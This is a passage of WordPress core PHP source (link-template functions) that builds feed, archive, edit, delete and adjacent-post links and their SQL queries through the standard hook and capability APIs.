	return apply_filters( 'search_feed_link', $link, $feed, 'posts' );
}

/**
 * Retrieves the permalink for the search results comments feed.
 *
 * @since 2.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $search_query Optional. Search query. Default empty.
 * @param string $feed         Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                             Default is the value of get_default_feed().
 * @return string The comments feed search results permalink.
 */
function get_search_comments_feed_link( $search_query = '', $feed = '' ) {
	global $wp_rewrite;

	if ( empty( $feed ) ) {
		$feed = get_default_feed();
	}

	$link = get_search_feed_link( $search_query, $feed );

	$permastruct = $wp_rewrite->get_search_permastruct();

	if ( empty( $permastruct ) ) {
		$link = add_query_arg( 'feed', 'comments-' . $feed, $link );
	} else {
		$link = add_query_arg( 'withcomments', 1, $link );
	}

	/** This filter is documented in wp-includes/link-template.php */
	return apply_filters( 'search_feed_link', $link, $feed, 'comments' );
}

/**
 * Retrieves the permalink for a post type archive.
 *
 * @since 3.1.0
 * @since 4.5.0 Support for posts was added.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $post_type Post type.
 * @return string|false The post type archive permalink. False if the post type
 *                      does not exist or does not have an archive.
 */
function get_post_type_archive_link( $post_type ) {
	global $wp_rewrite;

	$post_type_obj = get_post_type_object( $post_type );

	if ( ! $post_type_obj ) {
		return false;
	}

	if ( 'post' === $post_type ) {
		$show_on_front  = get_option( 'show_on_front' );
		$page_for_posts = get_option( 'page_for_posts' );

		if ( 'page' === $show_on_front && $page_for_posts ) {
			$link = get_permalink( $page_for_posts );
		} else {
			$link = get_home_url();
		}
		/** This filter is documented in wp-includes/link-template.php */
		return apply_filters( 'post_type_archive_link', $link, $post_type );
	}

	if ( ! $post_type_obj->has_archive ) {
		return false;
	}

	if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) ) {
		$struct = ( true === $post_type_obj->has_archive ) ? $post_type_obj->rewrite['slug'] : $post_type_obj->has_archive;
		if ( $post_type_obj->rewrite['with_front'] ) {
			$struct = $wp_rewrite->front . $struct;
		} else {
			$struct = $wp_rewrite->root . $struct;
		}
		$link = home_url( user_trailingslashit( $struct, 'post_type_archive' ) );
	} else {
		$link = home_url( '?post_type=' . $post_type );
	}

	/**
	 * Filters the post type archive permalink.
	 *
	 * @since 3.1.0
	 *
	 * @param string $link      The post type archive permalink.
	 * @param string $post_type Post type name.
	 */
	return apply_filters( 'post_type_archive_link', $link, $post_type );
}

/**
 * Retrieves the permalink for a post type archive feed.
 *
 * @since 3.1.0
 *
 * @param string $post_type Post type.
 * @param string $feed      Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                          Default is the value of get_default_feed().
 * @return string|false The post type feed permalink. False if the post type
 *                      does not exist or does not have an archive.
 */
function get_post_type_archive_feed_link( $post_type, $feed = '' ) {
	$default_feed = get_default_feed();
	if ( empty( $feed ) ) {
		$feed = $default_feed;
	}

	$link = get_post_type_archive_link( $post_type );
	if ( ! $link ) {
		return false;
	}

	$post_type_obj = get_post_type_object( $post_type );
	if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) && $post_type_obj->rewrite['feeds'] ) {
		$link  = trailingslashit( $link );
		$link .= 'feed/';
		if ( $feed !== $default_feed ) {
			$link .= "$feed/";
		}
	} else {
		$link = add_query_arg( 'feed', $feed, $link );
	}

	/**
	 * Filters the post type archive feed link.
	 *
	 * @since 3.1.0
	 *
	 * @param string $link The post type archive feed link.
	 * @param string $feed Feed type. Possible values include 'rss2', 'atom'.
	 */
	return apply_filters( 'post_type_archive_feed_link', $link, $feed );
}

/**
 * Retrieves the URL used for the post preview.
 *
 * Allows additional query args to be appended.
 *
 * @since 4.4.0
 *
 * @param int|WP_Post $post         Optional. Post ID or `WP_Post` object. Defaults to global `$post`.
 * @param array       $query_args   Optional. Array of additional query args to be appended to the link.
 *                                  Default empty array.
 * @param string      $preview_link Optional. Base preview link to be used if it should differ from the
 *                                  post permalink. Default empty.
 * @return string|null URL used for the post preview, or null if the post does not exist.
 */
function get_preview_post_link( $post = null, $query_args = array(), $preview_link = '' ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return;
	}

	$post_type_object = get_post_type_object( $post->post_type );
	if ( is_post_type_viewable( $post_type_object ) ) {
		if ( ! $preview_link ) {
			$preview_link = set_url_scheme( get_permalink( $post ) );
		}

		$query_args['preview'] = 'true';
		$preview_link          = add_query_arg( $query_args, $preview_link );
	}

	/**
	 * Filters the URL used for a post preview.
	 *
	 * @since 2.0.5
	 * @since 4.0.0 Added the `$post` parameter.
	 *
	 * @param string  $preview_link URL used for the post preview.
	 * @param WP_Post $post         Post object.
	 */
	return apply_filters( 'preview_post_link', $preview_link, $post );
}

/**
 * Retrieves the edit post link for post.
 *
 * Can be used within the WordPress loop or outside of it. Can be used with
 * pages, posts, attachments, revisions, global styles, templates, and template parts.
 *
 * @since 2.3.0
 * @since 6.3.0 Adds custom link for wp_navigation post types.
 *              Adds custom links for wp_template_part and wp_template post types.
 *
 * @param int|WP_Post $post    Optional. Post ID or post object. Default is the global `$post`.
 * @param string      $context Optional. How to output the '&' character. Default '&amp;'.
 * @return string|null The edit post link for the given post. Null if the post type does not exist
 *                     or does not allow an editing UI.
 */
function get_edit_post_link( $post = 0, $context = 'display' ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return;
	}

	if ( 'revision' === $post->post_type ) {
		$action = '';
	} elseif ( 'display' === $context ) {
		$action = '&amp;action=edit';
	} else {
		$action = '&action=edit';
	}

	$post_type_object = get_post_type_object( $post->post_type );

	if ( ! $post_type_object ) {
		return;
	}

	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		return;
	}

	$link = '';

	if ( 'wp_template' === $post->post_type || 'wp_template_part' === $post->post_type ) {
		$slug = urlencode( get_stylesheet() . '//' . $post->post_name );
		$link = admin_url( sprintf( $post_type_object->_edit_link, $post->post_type, $slug ) );
	} elseif ( 'wp_navigation' === $post->post_type ) {
		$link = admin_url( sprintf( $post_type_object->_edit_link, (string) $post->ID ) );
	} elseif ( $post_type_object->_edit_link ) {
		$link = admin_url( sprintf( $post_type_object->_edit_link . $action, $post->ID ) );
	}

	/**
	 * Filters the post edit link.
	 *
	 * @since 2.3.0
	 *
	 * @param string $link    The edit link.
	 * @param int    $post_id Post ID.
	 * @param string $context The link context. If set to 'display' then ampersands
	 *                        are encoded.
	 */
	return apply_filters( 'get_edit_post_link', $link, $post->ID, $context );
}

/**
 * Displays the edit post link for post.
 *
 * @since 1.0.0
 * @since 4.4.0 The `$css_class` argument was added.
 *
 * @param string      $text      Optional. Anchor text. If null, default is 'Edit This'. Default null.
 * @param string      $before    Optional. Display before edit link. Default empty.
 * @param string      $after     Optional. Display after edit link. Default empty.
 * @param int|WP_Post $post      Optional. Post ID or post object. Default is the global `$post`.
 * @param string      $css_class Optional. Add custom class to link. Default 'post-edit-link'.
 */
function edit_post_link( $text = null, $before = '', $after = '', $post = 0, $css_class = 'post-edit-link' ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return;
	}

	$url = get_edit_post_link( $post->ID );

	if ( ! $url ) {
		return;
	}

	if ( null === $text ) {
		$text = __( 'Edit This' );
	}

	$link = '<a class="' . esc_attr( $css_class ) . '" href="' . esc_url( $url ) . '">' . $text . '</a>';

	/**
	 * Filters the post edit link anchor tag.
	 *
	 * @since 2.3.0
	 *
	 * @param string $link    Anchor tag for the edit link.
	 * @param int    $post_id Post ID.
	 * @param string $text    Anchor text.
	 */
	echo $before . apply_filters( 'edit_post_link', $link, $post->ID, $text ) . $after;
}

/**
 * Retrieves the delete posts link for post.
 *
 * Can be used within the WordPress loop or outside of it, with any post type.
 *
 * @since 2.9.0
 *
 * @param int|WP_Post $post         Optional. Post ID or post object. Default is the global `$post`.
 * @param string      $deprecated   Not used.
 * @param bool        $force_delete Optional. Whether to bypass Trash and force deletion. Default false.
 * @return string|void The delete post link URL for the given post.
 */
function get_delete_post_link( $post = 0, $deprecated = '', $force_delete = false ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '3.0.0' );
	}

	$post = get_post( $post );

	if ( ! $post ) {
		return;
	}

	$post_type_object = get_post_type_object( $post->post_type );

	if ( ! $post_type_object ) {
		return;
	}

	if ( ! current_user_can( 'delete_post', $post->ID ) ) {
		return;
	}

	$action = ( $force_delete || ! EMPTY_TRASH_DAYS ) ? 'delete' : 'trash';

	$delete_link = add_query_arg( 'action', $action, admin_url( sprintf( $post_type_object->_edit_link, $post->ID ) ) );

	/**
	 * Filters the post delete link.
	 *
	 * @since 2.9.0
	 *
	 * @param string $link         The delete link.
	 * @param int    $post_id      Post ID.
	 * @param bool   $force_delete Whether to bypass the Trash and force deletion. Default false.
	 */
	return apply_filters( 'get_delete_post_link', wp_nonce_url( $delete_link, "$action-post_{$post->ID}" ), $post->ID, $force_delete );
}

/**
 * Retrieves the edit comment link.
 *
 * @since 2.3.0
 * @since 6.7.0 The $context parameter was added.
 *
 * @param int|WP_Comment $comment_id Optional. Comment ID or WP_Comment object.
 * @param string         $context    Optional. Context in which the URL should be used. Either 'display',
 *                                   to include HTML entities, or 'url'. Default 'display'.
 * @return string|void The edit comment link URL for the given comment, or void if the comment id does not exist or
 *                     the current user is not allowed to edit it.
 */
function get_edit_comment_link( $comment_id = 0, $context = 'display' ) {
	$comment = get_comment( $comment_id );

	if ( ! is_object( $comment ) || ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		return;
	}

	if ( 'display' === $context ) {
		$action = 'comment.php?action=editcomment&amp;c=';
	} else {
		$action = 'comment.php?action=editcomment&c=';
	}

	$location = admin_url( $action ) . $comment->comment_ID;

	// Ensure the $comment_id variable passed to the filter is always an ID.
	$comment_id = (int) $comment->comment_ID;

	/**
	 * Filters the comment edit link.
	 *
	 * @since 2.3.0
	 * @since 6.7.0 The $comment_id and $context parameters are now being passed to the filter.
	 *
	 * @param string $location   The edit link.
	 * @param int    $comment_id Unique ID of the comment to generate an edit link.
	 * @param string $context    Context to include HTML entities in link. Default 'display'.
	 */
	return apply_filters( 'get_edit_comment_link', $location, $comment_id, $context );
}

/**
 * Displays the edit comment link with formatting.
 *
 * @since 1.0.0
 *
 * @param string $text   Optional. Anchor text. If null, default is 'Edit This'. Default null.
 * @param string $before Optional. Display before edit link. Default empty.
 * @param string $after  Optional. Display after edit link. Default empty.
 */
function edit_comment_link( $text = null, $before = '', $after = '' ) {
	$comment = get_comment();

	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		return;
	}

	if ( null === $text ) {
		$text = __( 'Edit This' );
	}

	$link = '<a class="comment-edit-link" href="' . esc_url( get_edit_comment_link( $comment ) ) . '">' . $text . '</a>';

	/**
	 * Filters the comment edit link anchor tag.
	 *
	 * @since 2.3.0
	 *
	 * @param string $link       Anchor tag for the edit link.
	 * @param string $comment_id Comment ID as a numeric string.
	 * @param string $text       Anchor text.
	 */
	echo $before . apply_filters( 'edit_comment_link', $link, $comment->comment_ID, $text ) . $after;
}

/**
 * Displays the edit bookmark link.
 *
 * @since 2.7.0
 *
 * @param int|stdClass $link Optional. Bookmark ID. Default is the ID of the current bookmark.
 * @return string|void The edit bookmark link URL.
 */
function get_edit_bookmark_link( $link = 0 ) {
	$link = get_bookmark( $link );

	if ( ! current_user_can( 'manage_links' ) ) {
		return;
	}

	$location = admin_url( 'link.php?action=edit&amp;link_id=' ) . $link->link_id;

	/**
	 * Filters the bookmark edit link.
	 *
	 * @since 2.7.0
	 *
	 * @param string $location The edit link.
	 * @param int    $link_id  Bookmark ID.
	 */
	return apply_filters( 'get_edit_bookmark_link', $location, $link->link_id );
}

/**
 * Displays the edit bookmark link anchor content.
 *
 * @since 2.7.0
 *
 * @param string $link     Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
 * @param string $before   Optional. Display before edit link. Default empty.
 * @param string $after    Optional. Display after edit link. Default empty.
 * @param int    $bookmark Optional. Bookmark ID. Default is the current bookmark.
 */
function edit_bookmark_link( $link = '', $before = '', $after = '', $bookmark = null ) {
	$bookmark = get_bookmark( $bookmark );

	if ( ! current_user_can( 'manage_links' ) ) {
		return;
	}

	if ( empty( $link ) ) {
		$link = __( 'Edit This' );
	}

	$link = '<a href="' . esc_url( get_edit_bookmark_link( $bookmark ) ) . '">' . $link . '</a>';

	/**
	 * Filters the bookmark edit link anchor tag.
	 *
	 * @since 2.7.0
	 *
	 * @param string $link    Anchor tag for the edit link.
	 * @param int    $link_id Bookmark ID.
	 */
	echo $before . apply_filters( 'edit_bookmark_link', $link, $bookmark->link_id ) . $after;
}

/**
 * Retrieves the edit user link.
 *
 * @since 3.5.0
 *
 * @param int $user_id Optional. User ID. Defaults to the current user.
 * @return string URL to edit user page or empty string.
 */
function get_edit_user_link( $user_id = null ) {
	if ( ! $user_id ) {
		$user_id = get_current_user_id();
	}

	if ( empty( $user_id ) || ! current_user_can( 'edit_user', $user_id ) ) {
		return '';
	}

	$user = get_userdata( $user_id );

	if ( ! $user ) {
		return '';
	}

	if ( get_current_user_id() === $user->ID ) {
		$link = get_edit_profile_url( $user->ID );
	} else {
		$link = add_query_arg( 'user_id', $user->ID, self_admin_url( 'user-edit.php' ) );
	}

	/**
	 * Filters the user edit link.
	 *
	 * @since 3.5.0
	 *
	 * @param string $link    The edit link.
	 * @param int    $user_id User ID.
	 */
	return apply_filters( 'get_edit_user_link', $link, $user->ID );
}

//
// Navigation links.
//

/**
 * Retrieves the previous post that is adjacent to the current post.
 *
 * @since 1.5.0
 *
 * @param bool         $in_same_term   Optional. Whether post should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
 *                             Empty string if no corresponding post exists.
 */
function get_previous_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	return get_adjacent_post( $in_same_term, $excluded_terms, true, $taxonomy );
}

/**
 * Retrieves the next post that is adjacent to the current post.
 *
 * @since 1.5.0
 *
 * @param bool         $in_same_term   Optional. Whether post should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
 *                             Empty string if no corresponding post exists.
 */
function get_next_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	return get_adjacent_post( $in_same_term, $excluded_terms, false, $taxonomy );
}

/**
 * Retrieves the adjacent post.
 *
 * Can either be next or previous post.
 *
 * @since 2.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool         $in_same_term   Optional. Whether post should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty string.
 * @param bool         $previous       Optional. Whether to retrieve previous post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
 *                             Empty string if no corresponding post exists.
 */
function get_adjacent_post( $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
	global $wpdb;

	$post = get_post();

	if ( ! $post || ! taxonomy_exists( $taxonomy ) ) {
		return null;
	}

	$current_post_date = $post->post_date;

	$join     = '';
	$where    = '';
	$adjacent = $previous ? 'previous' : 'next';

	if ( ! empty( $excluded_terms ) && ! is_array( $excluded_terms ) ) {
		// Back-compat, $excluded_terms used to be $excluded_categories with IDs separated by " and ".
		if ( str_contains( $excluded_terms, ' and ' ) ) {
			_deprecated_argument(
				__FUNCTION__,
				'3.3.0',
				sprintf(
					/* translators: %s: The word 'and'. */
					__( 'Use commas instead of %s to separate excluded terms.' ),
					"'and'"
				)
			);
			$excluded_terms = explode( ' and ', $excluded_terms );
		} else {
			$excluded_terms = explode( ',', $excluded_terms );
		}

		$excluded_terms = array_map( 'intval', $excluded_terms );
	}

	/**
	 * Filters the IDs of terms excluded from adjacent post queries.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_next_post_excluded_terms`
	 *  - `get_previous_post_excluded_terms`
	 *
	 * @since 4.4.0
	 *
	 * @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
	 */
	$excluded_terms = apply_filters( "get_{$adjacent}_post_excluded_terms", $excluded_terms );

	if ( $in_same_term || ! empty( $excluded_terms ) ) {
		if ( $in_same_term ) {
			$join  .= " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id";
			$where .= $wpdb->prepare( 'AND tt.taxonomy = %s', $taxonomy );

			if ( ! is_object_in_taxonomy( $post->post_type, $taxonomy ) ) {
				return '';
			}
			$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
			if ( is_wp_error( $term_array ) ) {
				return '';
			}

			// Remove any exclusions from the term array to include.
			$term_array = array_diff( $term_array, (array) $excluded_terms );

			if ( ! $term_array ) {
				return '';
			}

			$term_array = array_map( 'intval', $term_array );

			$where .= ' AND tt.term_id IN (' . implode( ',', $term_array ) . ')';
		}

		if ( ! empty( $excluded_terms ) ) {
			$where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships tr LEFT JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) WHERE tt.term_id IN (" . implode( ',', array_map( 'intval', $excluded_terms ) ) . ') )';
		}
	}

	// 'post_status' clause depends on the current user.
	if ( is_user_logged_in() ) {
		$user_id = get_current_user_id();

		$post_type_object = get_post_type_object( $post->post_type );
		if ( empty( $post_type_object ) ) {
			$post_type_cap    = $post->post_type;
			$read_private_cap = 'read_private_' . $post_type_cap . 's';
		} else {
			$read_private_cap = $post_type_object->cap->read_private_posts;
		}

		/*
		 * Results should include private posts belonging to the current user, or private posts where the
		 * current user has the 'read_private_posts' cap.
		 */
		$private_states = get_post_stati( array( 'private' => true ) );
		$where         .= " AND ( p.post_status = 'publish'";
		foreach ( $private_states as $state ) {
			if ( current_user_can( $read_private_cap ) ) {
				$where .= $wpdb->prepare( ' OR p.post_status = %s', $state );
			} else {
				$where .= $wpdb->prepare( ' OR (p.post_author = %d AND p.post_status = %s)', $user_id, $state );
			}
		}
		$where .= ' )';
	} else {
		$where .= " AND p.post_status = 'publish'";
	}

	$comparison_operator = $previous ? '<' : '>';
	$order               = $previous ? 'DESC' : 'ASC';

	/**
	 * Filters the JOIN clause in the SQL for an adjacent post query.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_next_post_join`
	 *  - `get_previous_post_join`
	 *
	 * @since 2.5.0
	 * @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
	 *
	 * @param string       $join           The JOIN clause in the SQL.
	 * @param bool         $in_same_term   Whether post should be in the same taxonomy term.
	 * @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
	 * @param string       $taxonomy       Taxonomy. Used to identify the term used when `$in_same_term` is true.
	 * @param WP_Post      $post           WP_Post object.
	 */
	$join = apply_filters( "get_{$adjacent}_post_join", $join, $in_same_term, $excluded_terms, $taxonomy, $post );

	// Prepare the where clause for the adjacent post query.
	$where_prepared = $wpdb->prepare( "WHERE (p.post_date $comparison_operator %s OR (p.post_date = %s AND p.ID $comparison_operator %d)) AND p.post_type = %s $where", $current_post_date, $current_post_date, $post->ID, $post->post_type ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $comparison_operator is a string literal, either '<' or '>'.

	/**
	 * Filters the WHERE clause in the SQL for an adjacent post query.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_next_post_where`
	 *  - `get_previous_post_where`
	 *
	 * @since 2.5.0
	 * @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
	 * @since 6.9.0 Adds ID-based fallback for posts with identical dates in adjacent post queries.
	 *
	 * @param string       $where          The `WHERE` clause in the SQL.
	 * @param bool         $in_same_term   Whether post should be in the same taxonomy term.
	 * @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
	 * @param string       $taxonomy       Taxonomy. Used to identify the term used when `$in_same_term` is true.
	 * @param WP_Post      $post           WP_Post object.
	 */
	$where = apply_filters( "get_{$adjacent}_post_where", $where_prepared, $in_same_term, $excluded_terms, $taxonomy, $post );

	/**
	 * Filters the ORDER BY clause in the SQL for an adjacent post query.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_next_post_sort`
	 *  - `get_previous_post_sort`
	 *
	 * @since 2.5.0
	 * @since 4.4.0 Added the `$post` parameter.
	 * @since 4.9.0 Added the `$order` parameter.
	 * @since 6.9.0 Adds ID sort to ensure deterministic ordering for posts with identical dates.
	 *
	 * @param string $order_by The `ORDER BY` clause in the SQL.
	 * @param WP_Post $post    WP_Post object.
	 * @param string  $order   Sort order. 'DESC' for previous post, 'ASC' for next.
	 */
	$sort = apply_filters( "get_{$adjacent}_post_sort", "ORDER BY p.post_date $order, p.ID $order LIMIT 1", $post, $order );

	$query        = "SELECT p.ID FROM $wpdb->posts AS p $join $where $sort";
	$key          = md5( $query );
	$last_changed = (array) wp_cache_get_last_changed( 'posts' );
	if ( $in_same_term || ! empty( $excluded_terms ) ) {
		$last_changed[] = wp_cache_get_last_changed( 'terms' );
	}
	$cache_key = "adjacent_post:$key";

	$result = wp_cache_get_salted( $cache_key, 'post-queries', $last_changed );
	if ( false !== $result ) {
		if ( $result ) {
			$result = get_post( $result );
		}
		return $result;
	}

	$result = $wpdb->get_var( $query );
	if ( null === $result ) {
		$result = '';
	}

	wp_cache_set_salted( $cache_key, $result, 'post-queries', $last_changed );

	if ( $result ) {
		$result = get_post( $result );
	}

	return $result;
}

/**
 * Retrieves the adjacent post relational link.
 *
 * Can either be next or previous post relational link.
 *
 * @since 2.8.0
 *
 * @param string       $title          Optional. Link title format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param bool         $previous       Optional. Whether to display link to previous or next post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return string|void The adjacent post relational link URL.
 */
function get_adjacent_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
	$post = get_post();
	if ( $previous && is_attachment() && $post ) {
		$post = get_post( $post->post_parent );
	} else {
		$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
	}

	if ( empty( $post ) ) {
		return;
	}

	$post_title = the_title_attribute(
		array(
			'echo' => false,
			'post' => $post,
		)
	);

	if ( empty( $post_title ) ) {
		$post_title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
	}

	$date = mysql2date( get_option( 'date_format' ), $post->post_date );

	$title = str_replace( '%title', $post_title, $title );
	$title = str_replace( '%date', $date, $title );

	$link  = $previous ? "<link rel='prev' title='" : "<link rel='next' title='";
	$link .= esc_attr( $title );
	$link .= "' href='" . get_permalink( $post ) . "' />\n";

	$adjacent = $previous ? 'previous' : 'next';

	/**
	 * Filters the adjacent post relational link.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `next_post_rel_link`
	 *  - `previous_post_rel_link`
	 *
	 * @since 2.8.0
	 *
	 * @param string $link The relational link.
	 */
	return apply_filters( "{$adjacent}_post_rel_link", $link );
}

/**
 * Displays the relational links for the posts adjacent to the current post.
 *
 * @since 2.8.0
 *
 * @param string       $title          Optional. Link title format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function adjacent_posts_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
}

/**
 * Displays relational links for the posts adjacent to the current post for single post pages.
 *
 * This is meant to be attached to actions like 'wp_head'. Do not call this directly in plugins
 * or theme templates.
 *
 * @since 3.0.0
 * @since 5.6.0 No longer used in core.
 *
 * @see adjacent_posts_rel_link()
 */
function adjacent_posts_rel_link_wp_head() {
	if ( ! is_single() || is_attachment() ) {
		return;
	}
	adjacent_posts_rel_link();
}

/**
 * Displays the relational link for the next post adjacent to the current post.
 *
 * @since 2.8.0
 *
 * @see get_adjacent_post_rel_link()
 *
 * @param string       $title          Optional. Link title format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function next_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
}

/**
 * Displays the relational link for the previous post adjacent to the current post.
 *
 * @since 2.8.0
 *
 * @see get_adjacent_post_rel_link()
 *
 * @param string       $title          Optional. Link title format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function prev_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
}

/**
 * Retrieves the boundary post.
 *
 * Boundary being either the first or last post by publish date within the constraints specified
 * by `$in_same_term` or `$excluded_terms`.
 *
 * @since 2.8.0
 *
 * @param bool         $in_same_term   Optional. Whether returned post should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param bool         $start          Optional. Whether to retrieve first or last post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return array|null Array containing the boundary post object if successful, null otherwise.
 */
function get_boundary_post( $in_same_term = false, $excluded_terms = '', $start = true, $taxonomy = 'category' ) {
	$post = get_post();

	if ( ! $post || ! is_single() || is_attachment() || ! taxonomy_exists( $taxonomy ) ) {
		return null;
	}

	$query_args = array(
		'posts_per_page'         => 1,
		'order'                  => $start ? 'ASC' : 'DESC',
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
	);

	$term_array = array();

	if ( ! is_array( $excluded_terms ) ) {
		if ( ! empty( $excluded_terms ) ) {
			$excluded_terms = explode( ',', $excluded_terms );
		} else {
			$excluded_terms = array();
		}
	}

	if ( $in_same_term || ! empty( $excluded_terms ) ) {
		if ( $in_same_term ) {
			$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
		}

		if ( ! empty( $excluded_terms ) ) {
			$excluded_terms = array_map( 'intval', $excluded_terms );
			$excluded_terms = array_diff( $excluded_terms, $term_array );

			$inverse_terms = array();
			foreach ( $excluded_terms as $excluded_term ) {
				$inverse_terms[] = $excluded_term * -1;
			}
			$excluded_terms = $inverse_terms;
		}

		$query_args['tax_query'] = array(
			array(
				'taxonomy' => $taxonomy,
				'terms'    => array_merge( $term_array, $excluded_terms ),
			),
		);
	}

	return get_posts( $query_args );
}

/**
 * Retrieves the previous post link that is adjacent to the current post.
 *
 * @since 3.7.0
 *
 * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
 * @param string       $link           Optional. Link permalink format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return string The link URL of the previous post in relation to the current post.
 */
function get_previous_post_link( $format = '&laquo; %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, true, $taxonomy );
}

/**
 * Displays the previous post link that is adjacent to the current post.
 *
 * @since 1.5.0
 *
 * @see get_previous_post_link()
 *
 * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
 * @param string       $link           Optional. Link permalink format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
